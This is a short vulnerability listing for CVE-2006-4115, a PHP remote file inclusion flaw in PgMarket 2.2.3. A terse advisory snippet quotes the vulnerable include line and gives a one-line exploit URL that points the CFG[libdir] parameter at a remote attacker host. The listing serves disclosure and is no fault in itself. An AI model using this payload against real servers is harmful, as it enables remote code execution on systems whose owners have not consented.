CVE-2006-4115: Undefined Security Weakness

PHP remote file inclusion vulnerability in common.inc.php in PgMarket 2.2.3, when registerglobals is enabled, allows remote attackers to execute arbitrary PHP code via the CFGlibdir parameter...

PgMarket 2.2.3 - 'CFG[libdir]' Remote File Inclusion

C Y B E R - W A R R i O R T I M PgMarket 2.2.3 CFGlibdir Remote File Inclusion Vulnerabilities Author: xoron Class : Remote cont@ct: x0r0nathotmaildotcom Code: include $CFG"libdir" . "stdlib.inc.php"; Exploit: http://server/path/common.inc.php?CFGlibdir=http://evilscripts? Greetz: str0ke, Preddy,...